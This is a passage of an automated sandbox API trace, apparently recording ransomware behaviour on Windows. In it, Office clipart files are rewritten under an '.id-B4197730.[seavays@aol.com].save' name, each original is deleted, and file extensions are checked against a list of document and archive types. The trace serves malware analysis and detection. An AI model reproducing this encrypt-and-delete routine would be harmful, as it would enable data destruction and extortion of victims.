hFile=0x518, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x2010, lpOverlapped=0x0) returned 1 [0199.190] ReadFile (in: hFile=0x374, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.190] WriteFile (in: hFile=0x518, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0199.190] SetEndOfFile (hFile=0x518) returned 1 [0199.190] CloseHandle (hObject=0x518) returned 1 [0199.190] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.190] SetEndOfFile (hFile=0x374) returned 1 [0199.193] CloseHandle (hObject=0x374) returned 1 [0199.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0199.194] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200151.wmf")) returned 1 [0199.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF") returned 68 [0199.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF") returned 68 [0199.195] lstrlenW (lpString=".doc") returned 4 [0199.195] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.195] lstrlenW (lpString=".docx") returned 5 [0199.195] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0199.195] lstrlenW (lpString=".pdf") returned 4 [0199.195] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.195] lstrlenW (lpString=".xls") returned 4 [0199.195] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.195] lstrlenW (lpString=".xlsx") returned 5 [0199.195] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0199.195] lstrlenW (lpString=".ppt") returned 4 [0199.195] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF") returned 68 [0199.195] lstrlenW (lpString=".zip") returned 4 [0199.195] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.196] lstrlenW (lpString=".rar") returned 4 [0199.196] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.196] lstrlenW (lpString=".bz2") returned 4 [0199.196] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.196] lstrlenW (lpString=".7z") returned 3 [0199.196] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF") returned 68 [0199.196] lstrlenW (lpString=".dbf") returned 4 [0199.196] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF") returned 68 [0199.196] lstrlenW (lpString=".1cd") returned 4 [0199.196] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF") returned 68 [0199.196] lstrlenW (lpString=".jpg") returned 4 [0199.196] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.198] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.198] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200163.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200163.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0199.199] GetLastError () returned 0x0 [0199.199] ReadFile (in: hFile=0x374, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x1c0c, lpOverlapped=0x0) returned 1 [0199.201] WriteFile (in: hFile=0x518, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x1c10, lpOverlapped=0x0) returned 1 [0199.202] ReadFile (in: hFile=0x374, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.202] WriteFile (in: hFile=0x518, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0199.202] SetEndOfFile (hFile=0x518) returned 1 [0199.203] CloseHandle (hObject=0x518) returned 1 [0199.203] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.203] SetEndOfFile (hFile=0x374) returned 1 [0199.206] CloseHandle (hObject=0x374) returned 1 [0199.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200163.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0199.207] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200163.wmf")) returned 1 [0199.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200163.WMF") returned 68 [0199.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200163.WMF") returned 68 [0199.208] lstrlenW (lpString=".doc") returned 4 [0199.208] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.208] lstrlenW (lpString=".docx") returned 5 [0199.208] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0199.208] lstrlenW (lpString=".pdf") returned 4 [0199.208] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.208] lstrlenW (lpString=".xls") returned 4 [0199.208] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.208] lstrlenW (lpString=".xlsx") returned 5 [0199.209] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0199.209] lstrlenW (lpString=".ppt") returned 4 [0199.209] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200163.WMF") returned 68 [0199.209] lstrlenW (lpString=".zip") returned 4 [0199.209] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.209] lstrlenW (lpString=".rar") returned 4 [0199.209] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.209] lstrlenW (lpString=".bz2") returned 4 [0199.209] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.209] lstrlenW (lpString=".7z") returned 3 [0199.209] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200163.WMF") returned 68 [0199.209] lstrlenW (lpString=".dbf") returned 4 [0199.209] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200163.WMF") returned 68 [0199.209] lstrlenW (lpString=".1cd") returned 4 [0199.209] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200163.WMF") returned 68 [0199.209] lstrlenW (lpString=".jpg") returned 4 [0199.209] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.210] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.211] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200183.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0199.212] GetLastError () returned 0x0 [0199.212] ReadFile (in: hFile=0x374, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x14c0, lpOverlapped=0x0) returned 1 [0199.619] WriteFile (in: hFile=0x518, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x14d0, lpOverlapped=0x0) returned 1 [0199.622] ReadFile (in: hFile=0x374, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.622] WriteFile (in: hFile=0x518, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0199.622] SetEndOfFile (hFile=0x518) returned 1 [0199.622] CloseHandle (hObject=0x518) returned 1 [0199.623] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.623] SetEndOfFile (hFile=0x374) returned 1 [0199.626] CloseHandle (hObject=0x374) returned 1 [0199.626] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0199.870] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200183.wmf")) returned 1 [0200.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF") returned 68 [0200.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF") returned 68 [0200.043] lstrlenW (lpString=".doc") returned 4 [0200.043] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.043] lstrlenW (lpString=".docx") returned 5 [0200.043] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0200.043] lstrlenW (lpString=".pdf") returned 4 [0200.043] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.043] lstrlenW (lpString=".xls") returned 4 [0200.043] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.043] lstrlenW (lpString=".xlsx") returned 5 [0200.043] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0200.043] lstrlenW (lpString=".ppt") returned 4 [0200.043] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF") returned 68 [0200.043] lstrlenW (lpString=".zip") returned 4 [0200.043] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.043] lstrlenW (lpString=".rar") returned 4 [0200.043] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.043] lstrlenW (lpString=".bz2") returned 4 [0200.043] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.043] lstrlenW (lpString=".7z") returned 3 [0200.043] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF") returned 68 [0200.043] lstrlenW (lpString=".dbf") returned 4 [0200.043] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF") returned 68 [0200.043] lstrlenW (lpString=".1cd") returned 4 [0200.044] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF") returned 68 [0200.044] lstrlenW (lpString=".jpg") returned 4 [0200.044] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.285] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.285] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200377.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0202.287] GetLastError () returned 0x0 [0202.287] ReadFile (in: hFile=0x414, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x4f08, lpOverlapped=0x0) returned 1 [0202.289] WriteFile (in: hFile=0x3fc, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x4f10, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x4f10, lpOverlapped=0x0) returned 1 [0202.290] ReadFile (in: hFile=0x414, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.290] WriteFile (in: hFile=0x3fc, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0202.290] SetEndOfFile (hFile=0x3fc) returned 1 [0202.290] CloseHandle (hObject=0x3fc) returned 1 [0202.290] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.290] SetEndOfFile (hFile=0x414) returned 1 [0202.294] CloseHandle (hObject=0x414) returned 1 [0202.294] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0202.294] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200377.wmf")) returned 1 [0202.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF") returned 68 [0202.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF") returned 68 [0202.296] lstrlenW (lpString=".doc") returned 4 [0202.296] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.296] lstrlenW (lpString=".docx") returned 5 [0202.296] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0202.296] lstrlenW (lpString=".pdf") returned 4 [0202.296] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.296] lstrlenW (lpString=".xls") returned 4 [0202.296] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.296] lstrlenW (lpString=".xlsx") returned 5 [0202.296] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0202.296] lstrlenW (lpString=".ppt") returned 4 [0202.296] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF") returned 68 [0202.296] lstrlenW (lpString=".zip") returned 4 [0202.296] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.296] lstrlenW (lpString=".rar") returned 4 [0202.296] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.296] lstrlenW (lpString=".bz2") returned 4 [0202.296] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.296] lstrlenW (lpString=".7z") returned 3 [0202.296] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF") returned 68 [0202.296] lstrlenW (lpString=".dbf") returned 4 [0202.296] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF") returned 68 [0202.296] lstrlenW (lpString=".1cd") returned 4 [0202.296] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF") returned 68 [0202.296] lstrlenW (lpString=".jpg") returned 4 [0202.296] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.297] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.297] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0211981.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0211981.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0202.299] GetLastError () returned 0x0 [0202.299] ReadFile (in: hFile=0x414, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x6e74, lpOverlapped=0x0) returned 1 [0202.301] WriteFile (in: hFile=0x3fc, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x6e80, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x6e80, lpOverlapped=0x0) returned 1 [0202.302] ReadFile (in: hFile=0x414, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.302] WriteFile (in: hFile=0x3fc, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0202.302] SetEndOfFile (hFile=0x3fc) returned 1 [0202.302] CloseHandle (hObject=0x3fc) returned 1 [0202.302] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.302] SetEndOfFile (hFile=0x414) returned 1 [0202.306] CloseHandle (hObject=0x414) returned 1 [0202.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0211981.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0202.307] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0211981.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0211981.wmf")) returned 1 [0202.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0211981.WMF") returned 68 [0202.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0211981.WMF") returned 68 [0202.308] lstrlenW (lpString=".doc") returned 4 [0202.308] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.308] lstrlenW (lpString=".docx") returned 5 [0202.308] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0202.308] lstrlenW (lpString=".pdf") returned 4 [0202.308] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.308] lstrlenW (lpString=".xls") returned 4 [0202.308] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.308] lstrlenW (lpString=".xlsx") returned 5 [0202.308] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0202.308] lstrlenW (lpString=".ppt") returned 4 [0202.309] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0211981.WMF") returned 68 [0202.309] lstrlenW (lpString=".zip") returned 4 [0202.309] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.309] lstrlenW (lpString=".rar") returned 4 [0202.309] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.309] lstrlenW (lpString=".bz2") returned 4 [0202.309] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.309] lstrlenW (lpString=".7z") returned 3 [0202.309] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0211981.WMF") returned 68 [0202.309] lstrlenW (lpString=".dbf") returned 4 [0202.309] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0211981.WMF") returned 68 [0202.309] lstrlenW (lpString=".1cd") returned 4 [0202.309] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0211981.WMF") returned 68 [0202.309] lstrlenW (lpString=".jpg") returned 4 [0202.309] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.311] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.311] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212299.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0202.313] GetLastError () returned 0x0 [0202.313] ReadFile (in: hFile=0x414, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x180e, lpOverlapped=0x0) returned 1 [0202.314] WriteFile (in: hFile=0x3fc, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x1810, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x1810, lpOverlapped=0x0) returned 1 [0202.316] ReadFile (in: hFile=0x414, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.316] WriteFile (in: hFile=0x3fc, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0202.316] SetEndOfFile (hFile=0x3fc) returned 1 [0202.316] CloseHandle (hObject=0x3fc) returned 1 [0202.316] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.316] SetEndOfFile (hFile=0x414) returned 1 [0202.318] CloseHandle (hObject=0x414) returned 1 [0202.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0203.027] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212299.wmf")) returned 1 [0203.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF") returned 68 [0203.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF") returned 68 [0203.030] lstrlenW (lpString=".doc") returned 4 [0203.030] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0203.030] lstrlenW (lpString=".docx") returned 5 [0203.030] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0203.030] lstrlenW (lpString=".pdf") returned 4 [0203.030] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0203.030] lstrlenW (lpString=".xls") returned 4 [0203.030] lstrcmpiW (lpString1=".xls", 